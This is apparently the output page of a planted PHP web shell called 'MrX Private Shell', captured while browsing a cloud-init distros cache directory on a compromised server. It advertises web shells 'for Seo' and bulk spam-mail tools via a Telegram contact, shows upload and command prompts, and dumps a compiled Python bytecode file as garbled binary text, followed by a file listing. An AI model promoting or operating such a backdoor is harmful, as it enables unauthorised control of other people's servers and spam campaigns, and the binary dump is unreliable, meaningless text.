__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h'��d�SSKrSSKJrJrJr \R
"\5rSrSSjr	Sr
SSjrg)	�N)�	lifecycle�
type_utils�utilc��[U[5(aUR5RS5n[U[5(Ga0nUGHn[U[
5(a�UR
5H�up4[U[[45(d"[S[R"U5-5e[U[5(a#URU/5RU5 MzURU/5RU5 M� M�[U[5(a
X!;a/X'M�M�[S[R"U5-5e Un0n[U[
5(a3UR
5Hupg[R"U5XV'M U$[S[R"U5-5e)N�,zBad group member type %szUnknown group name type %sz@Group config must be list, dict or string type only but found %s)�
isinstance�str�strip�split�list�dict�items�	TypeErrorr�obj_name�
setdefault�extend�appendr�uniq_merge_sorted)�grp_cfg�	c_grp_cfg�i�k�v�groups�grp_name�grp_memberss        �;/usr/lib/python3/dist-packages/cloudinit/distros/ug_util.py�_normalize_groupsrs����'�3����-�-�/�'�'��,���'�4� � ��	��A��!�T�"�"��G�G�I�D�A�%�a�$���5�5�'�6�)�2�2�1�5�7���
"�!�T�*�*�!�,�,�Q��3�:�:�1�=�!�,�,�Q��3�:�:�1�=�&��A�s�#�#��%�#%�I�L�&� �0�J�4G�4G��4J�K���#�(��
�F��'�4� � �%,�]�]�_�!�H�#�5�5�k�B�F��&5��M�	�N��"�"�7�+�
-�
�	
�c��[U[5(a�/nUR5H�up4[U[[[
[45(a9[R"U5(aUR[
U55 MaMc[U[5(aX4S'URU5 M�[S[R"U5<SU<35e UnO+[U[5(a[R"U5n0nUH�n[U[[45(a3[R"U5HnU(dMXu;dM0XW'M MQ[U[5(aGUR!SS5nUR#U5=(d 0n	[R$"X�/5XX'M�[S[R"U5-5e U(ai0n
UR5HQup�0n
UR5H2up4UR'SS5R)5nU(dM.XMU'M4 X�U'MS U
nSnU(a�SU;a�UR!S5nU(a�UR+5nUR!S5nUR!S/5nUR!U05nUR#S/5n[R"UU5nS	R-U5US'[R$"XU/5X^'UR5Hup�U(aX�:HOS
US'M U$)N�namezUnmappable user value type z	 for key �defaultzDUser config must be dictionary/list or string  types only and not %s�-�_rrF)rr
r�bool�int�floatr	r�is_truerrrrrr�
uniq_merge�pop�get�
mergemanydict�replacer
�copy�join)�u_cfg�def_user_cfg�ad_ucfgrr�users�user_config�u�n�prev_config�c_users�uname�uconfig�	c_uconfig�def_user�
def_config�
def_groups�
parsed_config�
parsed_groups�users_groupss                    r�_normalize_usersrBIs����%�������K�K�M�D�A��!�d�C���4�5�5��<�<��?�?��N�N�3�q�6�*�#��A�t�$�$��&�	����q�!��!�*�*�1�-�q�2���"���	�E�3�	�	��&�&�u�-���E����k�D�#�;�/�/��_�_�[�1���1���!�E�H�2���T�
*�
*�����	�2�A��)�)�A�,�,�"�K��)�)�;�*D�E�E�H��)�,6�,?�,?��,L�N��
�� 
���#�k�k�m�N�E��I��
�
�����I�I�c�3�'�-�-�/���1�#$�a�L�(�'�E�N�
,����H���e�#��Y�Y�y�)�
��(�,�,�.�L�#�'�'��/�H�%�)�)�(�B�7�J�"�I�I�h��3�M�)�-�-�h��;�M��1�1�-��L�L�&)�h�h�|�&<�M�(�#�#�0�0��=�9��E�O� �+�+�-���2:�U�.���	��(��Lrc�*�U(d0n0nSU;a�US(avUSn[U[5(aSU0n[R"SSSS9 OA[U[5(d,[
R
S[R"U55 0n0nUR5n[R"X#/5nURS	/5n[U[[45(a#[R"S
[U53SSS9 OA[U[5(d,[
R
S[R"U55 /nU(aw[U[5(aUR!SS
05 ON[U[5(a[	U5RS
S5US
'O[U[5(aUS-
n0nSU;a[#US5n[%XT5nXv4$![a [
R
S5 GNlf=f)N�userr!z'user' of type stringz22.2zUse 'users' list instead.)�
deprecated�deprecated_version�
extra_messagez?Format for 'user' key must be a string or dictionary and not %sziDistro has not implemented default user access. No distribution provided default user will be normalized.r3z'users' of type zUse 'users' as a list.z^Format for 'users' key must be a comma-separated string or a dictionary or a list but found %sr"Tz,defaultr)rr	r�	deprecater
�LOG�warningrr�get_default_user�NotImplementedErrorrr,r+�typerrrrB)�cfg�distro�old_user�distro_user_config�default_user_config�
base_usersrr3s        r�normalize_users_groupsrT�s������
�H�
��}��V���v�;���h��$�$���)�H����2�#)�9�
�
�H�d�+�+��K�K���#�#�H�-�
�
�H���
�#�4�4�6���,�,�h�-K�L������"�%�J��*�t�S�k�*�*����)�$�z�*:�);�<�%�2�	
�
�
�T�
+�
+����
6����
�+�	
�
�
���j�$�'�'����v�y�1�2�
�
�D�
)�
)�$(��$4�$8�$8��D�$I�J�y�!�
�
�C�
(�
(��*�$�J�
�F��3��"�3�x�=�1���Z�=�E��?���Q�
����
E�	
�
�s�G/�/H�Hc���U(dX4$Sn[[X0R555nU(dX4$[U5SnXEnUR	SS5 XV4$)Nc�2�USnU(aSU;agUS$)N�r"F�)�entry�configs  r�	safe_find�"extract_default.<locals>.safe_find�s#���q�����&�0���i� � rrr")r
�filterrrr*)r3�default_name�default_configr[�	tmp_usersr!rZs       r�extract_defaultra�sa����-�-�!��V�I�{�{�}�5�6�I���-�-��	�?�1��D�
�_�F�
�J�J�y�$���>�r)N)NN)�logging�	cloudinitrrr�	getLogger�__name__rIrrBrTrarXrr�<module>rfs9���1�1�
����!��%�bN�xI�\r

Filemanager

Name Type Size Permission Actions
OpenCloudOS.cpython-313.pyc File 771 B 0644
TencentOS.cpython-313.pyc File 769 B 0644
__init__.cpython-313.pyc File 67.79 KB 0644
almalinux.cpython-313.pyc File 466 B 0644
alpine.cpython-313.pyc File 23.96 KB 0644
amazon.cpython-313.pyc File 753 B 0644
aosc.cpython-313.pyc File 6.55 KB 0644
arch.cpython-313.pyc File 6.42 KB 0644
azurelinux.cpython-313.pyc File 2.99 KB 0644
bsd.cpython-313.pyc File 9.11 KB 0644
bsd_utils.cpython-313.pyc File 1.91 KB 0644
centos.cpython-313.pyc File 463 B 0644
cloudlinux.cpython-313.pyc File 467 B 0644
cos.cpython-313.pyc File 462 B 0644
debian.cpython-313.pyc File 11.51 KB 0644
dragonflybsd.cpython-313.pyc File 566 B 0644
eurolinux.cpython-313.pyc File 466 B 0644
fedora.cpython-313.pyc File 463 B 0644
freebsd.cpython-313.pyc File 10.38 KB 0644
gentoo.cpython-313.pyc File 5.91 KB 0644
mariner.cpython-313.pyc File 2.01 KB 0644
miraclelinux.cpython-313.pyc File 469 B 0644
netbsd.cpython-313.pyc File 7.05 KB 0644
networking.cpython-313.pyc File 16.54 KB 0644
openbsd.cpython-313.pyc File 3.25 KB 0644
openeuler.cpython-313.pyc File 767 B 0644
openmandriva.cpython-313.pyc File 471 B 0644
opensuse-leap.cpython-313.pyc File 474 B 0644
opensuse-microos.cpython-313.pyc File 477 B 0644
opensuse-tumbleweed.cpython-313.pyc File 480 B 0644
opensuse.cpython-313.pyc File 10.61 KB 0644
photon.cpython-313.pyc File 6.95 KB 0644
rhel.cpython-313.pyc File 8.36 KB 0644
rhel_util.cpython-313.pyc File 1.57 KB 0644
rocky.cpython-313.pyc File 462 B 0644
sle-micro.cpython-313.pyc File 470 B 0644
sle_hpc.cpython-313.pyc File 468 B 0644
sles.cpython-313.pyc File 465 B 0644
suse.cpython-313.pyc File 463 B 0644
ubuntu.cpython-313.pyc File 3.22 KB 0644
ug_util.cpython-313.pyc File 7.93 KB 0644
virtuozzo.cpython-313.pyc File 466 B 0644
Filemanager